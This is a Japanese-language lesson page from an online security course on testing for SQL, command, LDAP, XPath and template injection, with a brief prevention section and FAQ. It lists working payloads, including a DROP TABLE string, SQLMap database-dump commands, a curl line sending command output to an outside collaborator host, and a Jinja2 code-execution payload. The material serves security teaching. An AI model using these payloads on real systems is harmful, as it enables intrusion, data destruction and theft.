0Pricing
Cyber Security Academy · レッスン

インジェクション脆弱性のテスト

SQLMap、手動payload、Burpを使って、SQL、コマンド、LDAPインジェクションをテストします。

「インジェクション脆弱性のテスト」はCoddyKit上の無料Cyber Security Academyレッスンです。 これはレッスン2/4です。 下記で完全なレッスンを無料で読むことができます。その後、ブラウザ内の組み込みコードエディタと24時間対応のAIチューターでハンズオン演習できます。 これはCyber Security Academy学習パスの一部であり、ウェブとCoddyKitアプリ全体で進捗が同期されます。 Cyber Security Academyコースには全4レッスンが含まれています。

インジェクション脆弱性の種類

インジェクションは、信頼できないデータがコマンドやクエリの一部としてインタープリターに渡されると発生します。インタープリターがデータとコマンドを区別できず、攻撃者が制御するロジックを実行してしまいます。SQL、コマンド、LDAP、XPath、テンプレートのインジェクションは、すべてこの種類に含まれます。

SQLインジェクション:手動テスト

まずは単純なペイロードを使って、SQLインジェクションの有無を調べます。脆弱なアプリケーションでは、シングルクォートによってSQL構文エラーが発生します。エラーメッセージ、レスポンスの長さの違い、レスポンス時間を確認してください。

# Test for SQLi:
' -- basic quote
'' -- doubled quote
1' OR '1'='1 -- always-true
1; DROP TABLE users -- statement terminator

# In URL:
https://target.com/item?id=1'

SQLi自動化のためのSQLMap

SQLMapは、SQLインジェクションの検出と悪用を自動化します。インジェクションポイントを検出し、DBMSを特定できるほか、脆弱なシステムではデータベースのダンプ、ファイルの読み取り、OS上でのコード実行も可能です。

# Basic scan
sqlmap -u 'http://target.com/item?id=1'

# With Burp request file
sqlmap -r request.txt

# Dump databases
sqlmap -u 'http://target.com/item?id=1' --dbs

# Dump a table
sqlmap -u '...' -D mydb -T users --dump

コマンドインジェクションのテスト

コマンドインジェクションは、ユーザー入力がOSのシェル関数に渡されると発生します。シェルのメタ文字(セミコロン、パイプ、バッククォート)と、$()によるコマンド置換を使ってテストしてください。

# Test inputs (form fields, URLs, headers):
; id
| id
`id`
$(id)
&& id

# Blind (no output): use time delays
; sleep 5
| ping -c 5 127.0.0.1

# Or out-of-band:
; curl http://collaborator.example.com/$(id)

LDAPインジェクション

LDAPインジェクションは、認証やディレクトリ検索に使われるLDAPクエリを操作します。認証フィールドに*)(uid=*))(|(uid=*を入力して、フィルターを回避できるかテストしてください。

XPathインジェクション

XPathインジェクションは、XMLベースの認証システムを標的にします。SQLiと同様に、ペイロードでXPathクエリを操作します。認証を回避するには、' or '1'='1を使用します。

テンプレートインジェクション(SSTI)

サーバーサイド・テンプレートインジェクションは、ユーザー入力がテンプレートエンジン(Jinja2、Twig、Freemarker)でレンダリングされると発生します。{{7*7}}を注入して検出します。レスポンスに49と表示されれば、SSTIが存在します。

# Detection payloads:
{{7*7}}          # Jinja2, Twig
${7*7}           # Freemarker, EL
<%= 7*7 %>      # ERB (Ruby)

# RCE via Jinja2:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

インジェクションテストでBurpを使う

リクエストをRepeaterに送信し、各パラメーターにペイロードを手動で注入してください。Intruderを使えば、インジェクション用のワードリストでファジングを自動化できます(SecListsには優れたインジェクション用ペイロードが含まれています)。

# SecLists injection wordlists:
/usr/share/seclists/Fuzzing/SQLi/
/usr/share/seclists/Fuzzing/SSTI/
/usr/share/seclists/Fuzzing/command-injection*

ブラインドインジェクションの検出

目に見える出力がない場合は、実行を確認するための時間遅延、Burp Collaboratorやinteractshによる帯域外DNSコールバック、レスポンスの内容に基づく真偽判定(コンテンツの長さの変化)を使用してください。

アプリケーションのエラーメッセージを読む

詳細なエラーには、データベースの種類、クエリの構造、ファイルパスが示されるため、正確なペイロードの作成に非常に役立ちます。通常のペイロードと併せて、デバッグ情報やエラーを引き出す入力でも必ずテストしてください。

防止策の参考

インジェクションは、SQLiではパラメータ化クエリ、コマンドインジェクションでは入力検証とシェルエスケープ、SSTIではユーザー入力のテンプレートレンダリングを避けることによって防止します。安全なコードを書くには、開発者がこれらを理解する必要があります。

確認問題

レスポンスに49と表示された場合、SSTI検出用ペイロード{{7*7}}によって何が確認できますか?

まとめ: インジェクションテスト

インジェクション脆弱性は、データとコマンドを混在させることで発生します。SQL、コマンド、テンプレート、LDAPのインジェクション用ペイロードを使って、ユーザーが制御できるすべての入力をテストしてください。SQLインジェクションの自動テストにはSQLMap、手動テストにはBurp Repeater、ブラインドな悪用には時間遅延やOOBの手法を使用します。レポート用に、ペイロードと証拠を必ず記録してください。

よくある質問

「インジェクション脆弱性のテスト」レッスンは無料ですか?

はい。「インジェクション脆弱性のテスト」の完全なテキストはこのウェブで無料で読めます。インタラクティブに演習し(組み込みコードエディタと24時間対応のAIチューター)、Cyber Security Academyコースの残りをアンロックするには、CoddyKit PROにアップグレードしてください。 Cyber Security Academyコースには全4レッスンが含まれています。

「インジェクション脆弱性のテスト」で何を学びますか?

SQLMap、手動payload、Burpを使って、SQL、コマンド、LDAPインジェクションをテストします。 ブラウザで直接実行するハンズオンコードでCyber Security Academyを演習し、24時間対応のAIチューターがレッスンを進める中での質問に答えます。

Cyber Security Academyを始めるのに経験は必要ですか?

事前経験は必要ありません。CoddyKitのCyber Security Academyは初級者から上級者向けに構成されているため、ここから始めるか最初から始めて、自分のペースで進むことができます。 これはレッスン2/4です。

「インジェクション脆弱性のテスト」レッスンにはどのくらい時間がかかりますか?

ほとんどのCoddyKitレッスンは約5~10分かかります。各レッスンはコンパクトでインタラクティブなので、着実に進歩し、ウェブとアプリ全体で正確に前回の場所から再開できます。

このCyber Security Academyレッスンでコードを書いて実行できますか?

はい。すべてのCyber Security Academyレッスンに組み込みコードエディタが含まれているため、ブラウザでリアルコードを書いて実行し、即座のAIフィードバックを取得できます。ローカル設定は不要です。

このコースのすべてのレッスン

  1. Burp Suite Proxyとリクエストのインターセプト
  2. インジェクション脆弱性のテスト
  3. 認証とセッションのテスト
  4. ファイルアップロードとSSRFの脆弱性
← Cyber Security Academyに戻る